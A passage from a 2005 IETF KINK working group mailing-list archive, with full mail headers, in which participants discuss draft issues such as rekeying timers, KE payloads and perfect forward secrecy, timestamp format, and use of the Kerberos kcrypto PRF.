"krbtgt/REALM/@REALM" is to be "krbtgt/REALM@REALM". 5.1.6. KINK_TGT_REP Payload In the caption of Figure 13, "KINK_TGT_REQ" is to be "KINK_TGT_REP". 7.3. CREATE "IPspec" is to be "IPsec". 7.5. STATUS In the last paragraph, "REPLY KINK Header" should be in one line. In the last paragraph, "[KRB_ERROR]" is to be "[KINK_ERROR]". overall: "'s" is used in some places where I'd use "s" for a plural form. -- KAMADA Ken'ichi From owner-ietf-kink Mon Feb 14 15:56:45 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1ENujrO063880; Mon, 14 Feb 2005 15:56:45 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1ENuj8J063879; Mon, 14 Feb 2005 15:56:45 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1ENuh7d063869 for ; Mon, 14 Feb 2005 15:56:44 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:1f:b098:35c:7adb] ([2001:240:2:0:1f:b098:35c:7adb]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Tue, 15 Feb 2005 08:56:28 +0900 id 00007DC1.42113AAC.00003CBB Message-ID: <42113A87.6000704@miyazawa.org> Date: Tue, 15 Feb 2005 08:55:51 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: Sam Hartman CC: ietf-kink@vpnc.org Subject: Re: #28 [*] Key usage References: <4208422C.5020905@miyazawa.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Sam Hartman wrote: > You can assign the numbers out of the space reserved for applications > if principals used for kink will not be used for other purposes. If > principals used for kink will be used for other purposes it is > probably desirable to talk to Tom Yu and get a key usage number added > to 1510ter. You'll also want to add the same key usage number to Kink > to avoid a normative reference to 1510ter. > > IANA is not currently involved. The 1510ter document turns key usage > and a bunch of other things over to IANA. > Thank you, Sam. BTW, will the 1510ter obsolete the clarifications? -- Kazunori Miyazawa From owner-ietf-kink Mon Feb 14 19:13:52 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1F3DpMd075501; Mon, 14 Feb 2005 19:13:52 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1F3DptL075500; Mon, 14 Feb 2005 19:13:51 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from luminous.mit.edu (LUMINOUS.MIT.EDU [18.101.1.61]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1F3DonD075490 for ; Mon, 14 Feb 2005 19:13:51 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by luminous.mit.edu (Postfix, from userid 1000) id 67C6376D3C; Mon, 14 Feb 2005 22:13:44 -0500 (EST) To: Kazunori Miyazawa Cc: ietf-kink@vpnc.org Subject: Re: #28 [*] Key usage References: <4208422C.5020905@miyazawa.org> <42113A87.6000704@miyazawa.org> From: Sam Hartman Date: Mon, 14 Feb 2005 22:13:44 -0500 In-Reply-To: <42113A87.6000704@miyazawa.org> (Kazunori Miyazawa's message of "Tue, 15 Feb 2005 08:55:51 +0900") Message-ID: <87zmy6v7kn.fsf@luminous.mit.edu> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.1 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Kazunori" == Kazunori Miyazawa writes: Kazunori> Thank you, Sam. BTW, will the 1510ter obsolete the Kazunori> clarifications? Yes, although it is my hope that clarifications will be at draft standard while the new document is at proposed. From owner-ietf-kink Mon Feb 14 23:08:51 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1F78pO9019052; Mon, 14 Feb 2005 23:08:51 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1F78p3A019051; Mon, 14 Feb 2005 23:08:51 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1F78n6r018927 for ; Mon, 14 Feb 2005 23:08:50 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:1f:b098:35c:7adb] ([2001:240:2:0:1f:b098:35c:7adb]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Tue, 15 Feb 2005 16:08:25 +0900 id 00007DC1.42119FE9.0000435C Message-ID: <42119FC4.8020607@miyazawa.org> Date: Tue, 15 Feb 2005 16:07:48 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: ietf-kink@vpnc.org Subject: #29 [*](2401bis) Rekeying (section 4.4.1) Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: #29 [*](2401bis) Rekeying (section 4.4.1) section 4.4.1: Please make sure this discussion is aligned with 2401bis. I think it may change small details but they seem to have adopted much of the same strategy kink uses. The area wher I believe they speak to this issue is when you should rekey (timers etc). (Sam Hartman) About issue #29, I could not completely understand what is an isssue in seciton 4.4.1. However I guess there is an issue, which is a possibility of difference between Treky and soft lifetime. Instead both Trekey and soft lifetime specify time of starting rekey. At "4.4.2.1 Data Items in the SAD" in rfc2401bis, there is a description about lifetime (b) There SHOULD be two kinds of lifetime -- a soft lifetime that warns the implementation to initiate action such as setting up a replacement SA; and a hard lifetime when the current SA ends and is destroyed. If we will be able to replace Trekey by "soft lifetime", it will be editorial issue. Unless, we need to understand the reason why KINK introduced Trekey. How about this as the third paragraph? Normally a KINK implementation which rekeys existing security associations will start to rekey the security association at the soft lifetime. In order to avoid synchronization with similar implementations, KINK initiators MUST randomly pick a rekeying time between the soft lifetime and the hard lifetime minus the amount of time it would take to go through a full retransmission time cycle, Tretrans. The soft lifetime SHOULD be set at least twice Tretrans before the hard lifetime. #The last sentence would not be needed. BTW KINK specifies the initiator is responsible for rekeying but it introduces randomizing rekey time to avoid synchronization. What is the synchronization? -- Kazunori Miyazawa From owner-ietf-kink Tue Feb 15 16:57:38 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1G0vcsd012873; Tue, 15 Feb 2005 16:57:38 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1G0vcTu012872; Tue, 15 Feb 2005 16:57:38 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1G0vOcG012828 for ; Tue, 15 Feb 2005 16:57:37 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j1G0vChB012852 for ; Wed, 16 Feb 2005 09:57:13 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: Your message of "Wed, 09 Feb 2005 08:26:02 -0800" <1107966362.4948.8.camel@thomasm-lnx.cisco.com> References: <1107966362.4948.8.camel@thomasm-lnx.cisco.com> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050216095714C.sakane@kame.net> Date: Wed, 16 Feb 2005 09:57:14 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 71 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > On Wed, 2005-02-09 at 01:22, Shoichi Sakane wrote: > > > > I haven't looked it up in the draft, but my feeling is > > > > that the Receiver MUST implement KE payloads, though > > > > I suppose that it may be administratively rejected with > > > > an error message if it doesn't want to participate. > > > > I disagree. it must reduce the value of using KINK. > I don't understand: if the receiver has a way of > rejecting the use of PFS, where is the harm here? > The sender at worst would have to retry without the > KE payload it seems to me. I probably did not understand "MUST implement KE payloads" you said. I am fine if the receiver can reject KE payloads by its policy, and SHOULD send an error to the sender. > > > > IKEv1 doesn't define it because it always expects that > > > > the initial DH is performed; KINK doesn't require this > > > > since there's already a shared key in the ticket. > > > > I am assuming that "the initial DH" means the group number used > > in phase 1. > > No, I meant that IKE always performs an initial > Diffie Hellman exchange, so the KE payload is > mandatory. I don't understand what you mean. what is the initial DH exchange ? there are 2 phases in IKEv1. DH exchange can be used in each phases. there is no description of the group number of phase 2's DH exchange. that is the problem i said. in IKEv2, both IKE_SA_INIT and CREATE_CHILD_SA can be used DH exchange. the group number to be used in each exchange can be specified in each SA payload. so if we choice IKEv2 manner, there is no problem what i said. what do you mean "the KE payload is mandatory." ? KE payload in phase 2 of IKEv1, or in CREATE_CHILD_SA of IKEv2 is optional. > > > Sakane-san's point (as far as I can read) is that > > > if KINK allows using KE payloads, the following 3 issues > > > should be considered. I think only the 3rd item needs additional > > > text to the KINK spec. > > > > > > - Which error code is returned when the responder doesn't support KE, > > > if we go with IKEv1. > > > (I think INVALID-PAYLOAD-TYPE is enough.) > > Maybe it should be more specific so that a sender > can know that it's really the KE payload that's > causing problems? I agree with you, however there is no suitable error type in both RFC2408 and the IKEv2 specification. INVALID_KE_PAYLOAD would be better, but the meaning is slightly different from this context. do you have any idea ? > Another possibility that I haven't > looked at yet is for the receiver to _not_ send its > KE payload back in which case the sender would realize > that the receiver didn't perform the DH and it could > proceed as if the sender KE wasn't present at all? could you explain me with another word ? i could not understand what you said. probably language issue. i am sorry. > > > - KINK initiators usually set inbound SAs before CREATE command, > > > but it's not possible when using KE payloads. > > I believe the appropriate behavior is specified here... could you specify the place in the draft ? i didnt find it. From owner-ietf-kink Tue Feb 15 17:52:44 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1G1qig9017855; Tue, 15 Feb 2005 17:52:44 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1G1qivp017852; Tue, 15 Feb 2005 17:52:44 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1G1qVvO017788 for ; Tue, 15 Feb 2005 17:52:42 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j1G1qKhB013045 for ; Wed, 16 Feb 2005 10:52:20 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: Your message of "Wed, 09 Feb 2005 08:26:02 -0800" <1107966362.4948.8.camel@thomasm-lnx.cisco.com> References: <1107966362.4948.8.camel@thomasm-lnx.cisco.com> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050216105116E.sakane@kame.net> Date: Wed, 16 Feb 2005 10:51:16 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 71 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > On Wed, 2005-02-09 at 01:22, Shoichi Sakane wrote: > > > > I haven't looked it up in the draft, but my feeling is > > > > that the Receiver MUST implement KE payloads, though > > > > I suppose that it may be administratively rejected with > > > > an error message if it doesn't want to participate. > > > > I disagree. it must reduce the value of using KINK. > I don't understand: if the receiver has a way of > rejecting the use of PFS, where is the harm here? > The sender at worst would have to retry without the > KE payload it seems to me. I probably did not understand "MUST implement KE payloads" you said. I am fine if the receiver can reject KE payloads by its policy, and SHOULD send an error to the sender. > > > > IKEv1 doesn't define it because it always expects that > > > > the initial DH is performed; KINK doesn't require this > > > > since there's already a shared key in the ticket. > > > > I am assuming that "the initial DH" means the group number used > > in phase 1. > > No, I meant that IKE always performs an initial > Diffie Hellman exchange, so the KE payload is > mandatory. I don't understand what you mean. what is the initial DH exchange ? there are 2 phases in IKEv1. DH exchange can be used in each phases. there is no description of the group number of phase 2's DH exchange. that is the problem i said. in IKEv2, both IKE_SA_INIT and CREATE_CHILD_SA can be used DH exchange. the group number to be used in each exchange can be specified in each SA payload. so if we choice IKEv2 manner, there is no problem what i said. what do you mean "the KE payload is mandatory." ? KE payload in phase 2 of IKEv1, or in CREATE_CHILD_SA of IKEv2 is optional. > > > Sakane-san's point (as far as I can read) is that > > > if KINK allows using KE payloads, the following 3 issues > > > should be considered. I think only the 3rd item needs additional > > > text to the KINK spec. > > > > > > - Which error code is returned when the responder doesn't support KE, > > > if we go with IKEv1. > > > (I think INVALID-PAYLOAD-TYPE is enough.) > > Maybe it should be more specific so that a sender > can know that it's really the KE payload that's > causing problems? I agree with you, however there is no suitable error type in both RFC2408 and the IKEv2 specification. INVALID_KE_PAYLOAD would be better, but the meaning is slightly different from this context. do you have any idea ? > Another possibility that I haven't > looked at yet is for the receiver to _not_ send its > KE payload back in which case the sender would realize > that the receiver didn't perform the DH and it could > proceed as if the sender KE wasn't present at all? could you explain me with another word ? i could not understand what you said. probably language issue. i am sorry. > > > - KINK initiators usually set inbound SAs before CREATE command, > > > but it's not possible when using KE payloads. > > I believe the appropriate behavior is specified here... could you specify the place in the draft ? i didnt find it. From owner-ietf-kink Thu Feb 17 17:01:50 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1I11oYZ014800; Thu, 17 Feb 2005 17:01:50 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1I11oHj014799; Thu, 17 Feb 2005 17:01:50 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (STRATTON-THREE-SEVENTY-NINE.MIT.EDU [18.187.6.124]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1I11ntE014792 for ; Thu, 17 Feb 2005 17:01:49 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 66A7CE0063; Thu, 17 Feb 2005 20:12:11 -0500 (EST) To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org Subject: Re: #16 [*] EPOCH (section 5.1.2) References: <20050210154348XQ%kamada@nanohz.org> From: Sam Hartman Date: Thu, 17 Feb 2005 20:12:11 -0500 In-Reply-To: <20050210154348XQ%kamada@nanohz.org> (KAMADA Ken'ichi's message of "Thu, 10 Feb 2005 15:43:48 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "KAMADA" == KAMADA Ken'ichi writes: >> #16 [*] EPOCH (section 5.1.2) >> >> Perhaps you need a description of the time stamp? I recall >> there being such a description in draft-housley-binarytime-xx. >> (Sam Hartman) KAMADA> The current draft specifies it as "the standard posix four KAMADA> octet time stamp". Is describing in KINK preferred to KAMADA> referring POSIX? Probably. At least I don't think Russ's draft ended up referring to Posix. I actually don't care either wy so long as the format is clearly specified. Doing that by reference or by value is fine. From owner-ietf-kink Thu Feb 17 17:00:07 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1I107O6014654; Thu, 17 Feb 2005 17:00:07 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1I1076c014653; Thu, 17 Feb 2005 17:00:07 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (STRATTON-THREE-SEVENTY-NINE.MIT.EDU [18.187.6.124]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1I106h0014642 for ; Thu, 17 Feb 2005 17:00:07 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 2B1D5E0063; Thu, 17 Feb 2005 20:10:25 -0500 (EST) To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org Subject: Re: #25 [**] prf (section 8) References: <20050210161443XN%kamada@nanohz.org> From: Sam Hartman Date: Thu, 17 Feb 2005 20:10:25 -0500 In-Reply-To: <20050210161443XN%kamada@nanohz.org> (KAMADA Ken'ichi's message of "Thu, 10 Feb 2005 16:14:43 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "KAMADA" == KAMADA Ken'ichi writes: KAMADA> IKE requires the very PRF to generate IPsec keys, so using KAMADA> PRFs provided by kcrypto is appropriate here. kcrypto KAMADA> also says "The PRF output string should be suitable for KAMADA> use in key generation,..." The kcrypto PNRF is certainly usable for generating keys; that's its point. The working group was concerned about the PRF for kcrypto mainly because they needed to take a DH output and get a random bit string. The kcrypto PRF requires a key. The only problem I can see with using the kcrypto PRF in kink is details of the PFS if Kink ends up supporting PFS. If you don't ever run into a situation where you want to use the PRF but there is no appropriate key to feed into it, then everything is fine. --Sam From owner-ietf-kink Thu Feb 17 17:23:07 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1I1N7s3018618; Thu, 17 Feb 2005 17:23:07 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1I1N76B018617; Thu, 17 Feb 2005 17:23:07 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from brmea-mail-3.sun.com (brmea-mail-3.Sun.COM [192.18.98.34]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1I1N6ME018608 for ; Thu, 17 Feb 2005 17:23:06 -0800 (PST) (envelope-from sommerfeld@sun.com) Received: from eastmail2bur.East.Sun.COM ([129.148.13.40]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id j1I1N1hl003339; Thu, 17 Feb 2005 18:23:01 -0700 (MST) Received: from thunk (thunk.East.Sun.COM [129.148.174.66]) by eastmail2bur.East.Sun.COM (8.12.10+Sun/8.12.10/ENSMAIL,v2.2) with ESMTP id j1I1N1Op021886; Thu, 17 Feb 2005 20:23:01 -0500 (EST) Received: from thunk.east.sun.com (localhost [127.0.0.1]) by thunk (8.13.3+Sun/8.13.3) with ESMTP id j1I1N1dn025463; Thu, 17 Feb 2005 20:23:01 -0500 (EST) Received: (from sommerfeld@localhost) by thunk.east.sun.com (8.13.3+Sun/8.13.3/Submit) id j1I1N08N025462; Thu, 17 Feb 2005 20:23:00 -0500 (EST) X-Authentication-Warning: thunk.east.sun.com: sommerfeld set sender to sommerfeld@sun.com using -f Subject: Re: #29 [*](2401bis) Rekeying (section 4.4.1) From: Bill Sommerfeld To: Kazunori Miyazawa Cc: ietf-kink@vpnc.org In-Reply-To: <42119FC4.8020607@miyazawa.org> References: <42119FC4.8020607@miyazawa.org> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Message-Id: <1108689779.25320.25.camel@thunk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6.325 Date: Thu, 17 Feb 2005 20:23:00 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Tue, 2005-02-15 at 02:07, Kazunori Miyazawa wrote: > Normally a KINK implementation which rekeys existing security associations will > start to rekey the security association at the soft lifetime. In order to avoid > synchronization with similar implementations, KINK initiators MUST randomly pick > a rekeying time between the soft lifetime and the hard lifetime minus the amount > of time it would take to go through a full retransmission time cycle, Tretrans. > The soft lifetime SHOULD be set at least twice Tretrans before the hard lifetime. Another way to phrase this: "the soft lifetime must be randomized to avoid synchronization.." - Bill From owner-ietf-kink Thu Feb 17 18:44:52 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1I2iqOj025983; Thu, 17 Feb 2005 18:44:52 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1I2iqxl025982; Thu, 17 Feb 2005 18:44:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1I2ipli025946 for ; Thu, 17 Feb 2005 18:44:52 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:9119:ff7e:448e:1298] ([2001:240:2:0:9119:ff7e:448e:1298]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Fri, 18 Feb 2005 11:44:09 +0900 id 00007DC2.42155679.00007D8E Message-ID: <4215565C.4030508@miyazawa.org> Date: Fri, 18 Feb 2005 11:43:40 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: Bill Sommerfeld CC: ietf-kink@vpnc.org Subject: Re: #29 [*](2401bis) Rekeying (section 4.4.1) References: <42119FC4.8020607@miyazawa.org> <1108689779.25320.25.camel@thunk> In-Reply-To: <1108689779.25320.25.camel@thunk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Bill Sommerfeld wrote: > On Tue, 2005-02-15 at 02:07, Kazunori Miyazawa wrote: > > >>Normally a KINK implementation which rekeys existing security associations will >>start to rekey the security association at the soft lifetime. In order to avoid >>synchronization with similar implementations, KINK initiators MUST randomly pick >>a rekeying time between the soft lifetime and the hard lifetime minus the amount >>of time it would take to go through a full retransmission time cycle, Tretrans. >>The soft lifetime SHOULD be set at least twice Tretrans before the hard lifetime. > > > Another way to phrase this: "the soft lifetime must be randomized to avoid synchronization.." > At first, I assumed that a soft lifetime of a SA might be sat by an administrator. But the lifetime negotiation affects only the hard lifetime and an entity which supports KINK protocol probably has rights to determine the soft lifetime. I think your phrase is better because of simplicity. Should we describe a limits of the randomization? I think it may be an implementation issue. -- Kazunori Miyazawa From owner-ietf-kink Thu Feb 17 19:54:36 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1I3sZMK032639; Thu, 17 Feb 2005 19:54:36 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1I3sZ3s032638; Thu, 17 Feb 2005 19:54:35 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1I3sY8a032616 for ; Thu, 17 Feb 2005 19:54:35 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 9C5045E for ; Fri, 18 Feb 2005 12:54:17 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 2LTWS1; Fri, 18 Feb 2005 12:54:17 +0900 (JST) Date: Fri, 18 Feb 2005 12:55:46 +0900 Message-ID: <20050218125546RO%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: #25 [**] prf (section 8) In-Reply-To: References: <20050210161443XN%kamada@nanohz.org> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Thu, 17 Feb 2005 20:10:25 -0500, Sam Hartman wrote: > > KAMADA> IKE requires the very PRF to generate IPsec keys, so using > KAMADA> PRFs provided by kcrypto is appropriate here. kcrypto > KAMADA> also says "The PRF output string should be suitable for > KAMADA> use in key generation,..." > > The kcrypto PNRF is certainly usable for generating keys; that's its > point. The working group was concerned about the PRF for kcrypto > mainly because they needed to take a DH output and get a random bit > string. The kcrypto PRF requires a key. > > The only problem I can see with using the kcrypto PRF in kink is > details of the PFS if Kink ends up supporting PFS. If you don't ever > run into a situation where you want to use the PRF but there is no > appropriate key to feed into it, then everything is fine. I'm now clear on the issue you raised. On that regard, KINK uses a DH output in the octet-string of the PRF. The protocol-key of the PRF is always a key provided in the AP exchange, so I think there is no situation you concerns. I skimmed the recent ietf-krb-wg ML and found some issues discussed. I think KINK has no problem with them. 1. PRF needs a key as its input. In KINK, there is a key even when taking PFS. (as described above) 2. Is kcrypto PRF cryptographically strong? This is kcrypto issue, and the answer seems to be "yes" according to the ietf-krb-wg ML. 3. The output size of PRF is not the same with the key (nor the seed). Yes, it is the way of PRF and KINK doesn't have any problem with it. -- KAMADA Ken'ichi From owner-ietf-kink Sun Feb 20 18:51:06 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L2p6jb032269; Sun, 20 Feb 2005 18:51:06 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1L2p6UP032268; Sun, 20 Feb 2005 18:51:06 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L2p5qg032248 for ; Sun, 20 Feb 2005 18:51:05 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id B86425E for ; Mon, 21 Feb 2005 11:50:39 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 4ECmQV; Mon, 21 Feb 2005 11:50:39 +0900 (JST) Date: Mon, 21 Feb 2005 11:52:12 +0900 Message-ID: <20050221115212RM%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: clean #37 and #5 and introduce #45 User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Thu, 10 Feb 2005 17:41:10 +0900, "KAMADA Ken'ichi" wrote: > > #37 [**] Difference between IKE and KINK on CREATE command (section 4.3) > > IN addition, any differences > between how this works and how IKE would set up the same SA need to be > called out. It is fine for there to be differences, but I want to 